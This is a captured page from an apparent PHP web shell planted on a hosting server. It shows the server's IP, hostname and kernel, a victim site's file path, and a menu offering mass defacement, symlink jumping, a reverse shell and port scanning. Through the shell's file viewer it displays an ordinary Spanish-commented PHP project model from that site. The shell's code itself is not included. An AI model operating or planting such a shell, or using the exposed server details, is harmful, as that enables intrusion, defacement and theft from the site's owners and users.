Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
miplansoy
/
models
/
Viewing: ProjectModel.php
<?php require_once __DIR__ . '/../app/Database.php'; class ProjectModel { private $pdo; public function __construct() { $this->pdo = Database::getConnection(); } public function createProject(string $name, ?string $labels = null, int $userId): bool { try { $stmt = $this->pdo->prepare('INSERT INTO projects (name, labels, user_id, guests) VALUES (?, ?, ?, NULL)'); return $stmt->execute([$name, $labels, $userId]); } catch (PDOException $e) { // Fallback si la columna user_id no existe $stmt = $this->pdo->prepare('INSERT INTO projects (name, labels) VALUES (?, ?)'); return $stmt->execute([$name, $labels]); } } public function setDates(int $projectId, ?string $startDate, ?string $endDate): bool { try { $stmt = $this->pdo->prepare('UPDATE projects SET start_date = ?, end_date = ? WHERE id = ?'); return $stmt->execute([$startDate, $endDate, $projectId]); } catch (PDOException $e) { return false; } } public function findByName(string $name): ?array { $stmt = $this->pdo->prepare('SELECT * FROM projects WHERE name = ? ORDER BY id DESC LIMIT 1'); $stmt->execute([$name]); $p = $stmt->fetch(PDO::FETCH_ASSOC); return $p ?: null; } public function findById(int $projectId): ?array { $stmt = $this->pdo->prepare('SELECT * FROM projects WHERE id = ?'); $stmt->execute([$projectId]); $project = $stmt->fetch(PDO::FETCH_ASSOC); return $project ?: null; } public function listProjects(): array { $userId = current_user_id(); if (!$userId) return []; try { $sql = 'SELECT * FROM projects p WHERE ( p.user_id = ? OR FIND_IN_SET(?, COALESCE(p.guests, "")) > 0 OR EXISTS ( SELECT 1 FROM project_invites pi WHERE pi.project_id = p.id AND pi.user_id = ? ) ) ORDER BY p.sort_order ASC, p.created_at DESC'; $stmt = $this->pdo->prepare($sql); $stmt->execute([$userId, $userId, $userId]); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e) { // Fallback para esquemas antiguos sin user_id/guests/invites try { $stmt = $this->pdo->prepare('SELECT * FROM projects WHERE user_id = ? ORDER BY sort_order ASC, created_at DESC'); $stmt->execute([$userId]); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e2) { $stmt = $this->pdo->query('SELECT * FROM projects ORDER BY sort_order ASC, created_at DESC'); return $stmt->fetchAll(PDO::FETCH_ASSOC); } } } public function searchProjects(string $q): array { $userId = current_user_id(); if (!$userId) return []; try { $sql = 'SELECT * FROM projects p WHERE ( p.user_id = ? OR FIND_IN_SET(?, COALESCE(p.guests, "")) > 0 OR EXISTS ( SELECT 1 FROM project_invites pi WHERE pi.project_id = p.id AND pi.user_id = ? ) ) AND (p.name LIKE ? OR p.labels LIKE ?) ORDER BY p.created_at DESC LIMIT 50'; $like = '%' . $q . '%'; $stmt = $this->pdo->prepare($sql); $stmt->execute([$userId, $userId, $userId, $like, $like]); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e) { // Fallback para esquemas antiguos sin user_id/guests/invites try { $stmt = $this->pdo->prepare('SELECT * FROM projects WHERE user_id = ? AND (name LIKE ? OR labels LIKE ?) ORDER BY created_at DESC LIMIT 50'); $stmt->execute([$userId, '%' . $q . '%', '%' . $q . '%']); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e2) { $stmt = $this->pdo->prepare('SELECT * FROM projects WHERE name LIKE ? OR labels LIKE ? ORDER BY created_at DESC LIMIT 50'); $stmt->execute(['%' . $q . '%', '%' . $q . '%']); return $stmt->fetchAll(PDO::FETCH_ASSOC); } } } public function rename(int $projectId, string $name): bool { $stmt = $this->pdo->prepare('UPDATE projects SET name = ? WHERE id = ?'); return $stmt->execute([$name, $projectId]); } public function setResponsible(int $projectId, ?int $userId): bool { try { $stmt = $this->pdo->prepare('UPDATE projects SET user_id = ? WHERE id = ?'); return $stmt->execute([$userId, $projectId]); } catch (PDOException $e) { // Si la columna user_id no existe en el esquema, reportar false por consistencia return false; } } public function setGuests(int $projectId, array $userIds): bool { $guests = implode(',', $userIds); $stmt = $this->pdo->prepare('UPDATE projects SET guests = ? WHERE id = ?'); return $stmt->execute([$guests, $projectId]); } public function updatePhase(int $projectId, string $phase): bool { try { $stmt = $this->pdo->prepare('UPDATE projects SET phase = ? WHERE id = ?'); return $stmt->execute([$phase, $projectId]); } catch (PDOException $e) { return false; } } public function updateName(int $projectId, string $name): bool { try { $stmt = $this->pdo->prepare('UPDATE projects SET name = ? WHERE id = ?'); return $stmt->execute([$name, $projectId]); } catch (PDOException $e) { return false; } } public function deleteProject(int $projectId): bool { try { $stmt = $this->pdo->prepare('DELETE FROM projects WHERE id = ?'); return $stmt->execute([$projectId]); } catch (PDOException $e) { return false; } } public function updateProject(int $projectId, string $name, ?string $startDate, ?string $endDate, string $labels, string $phase, ?string $responsibleId, array $userIds, string $notes = ''): bool { try { $this->pdo->beginTransaction(); // Limpiar fechas vacías $startDate = ($startDate === '' || $startDate === null) ? null : $startDate; $endDate = ($endDate === '' || $endDate === null) ? null : $endDate; // Actualizar datos básicos del proyecto $stmt = $this->pdo->prepare('UPDATE projects SET name = ?, start_date = ?, end_date = ?, labels = ?, phase = ? WHERE id = ?'); $stmt->execute([$name, $startDate, $endDate, $labels, $phase, $projectId]); // Intentar actualizar notas/observaciones (si la columna existe) try { $stmt = $this->pdo->prepare('UPDATE projects SET notes = ? WHERE id = ?'); $notesVal = ($notes === '') ? null : $notes; $stmt->execute([$notesVal, $projectId]); } catch (PDOException $e) { // Ignorar si la columna notes no existe } // Determinar y asignar responsable $chosenResponsible = null; if ($responsibleId !== null && $responsibleId !== '') { $chosenResponsible = (int)$responsibleId; } else { // Si no se especifica un responsable, usar el usuario actual $chosenResponsible = current_user_id(); } if ($chosenResponsible !== null) { try { $stmt = $this->pdo->prepare('UPDATE projects SET user_id = ? WHERE id = ?'); $stmt->execute([$chosenResponsible, $projectId]); } catch (PDOException $e) { // Ignorar si la columna user_id no existe } } // Actualizar invitados $guests = empty($userIds) ? null : implode(',', $userIds); $stmt = $this->pdo->prepare('UPDATE projects SET guests = ? WHERE id = ?'); $stmt->execute([$guests, $projectId]); $this->pdo->commit(); return true; } catch (PDOException $e) { $this->pdo->rollBack(); error_log("Error updating project: " . $e->getMessage()); return false; } } }
Coded With 💗 by
0x6ick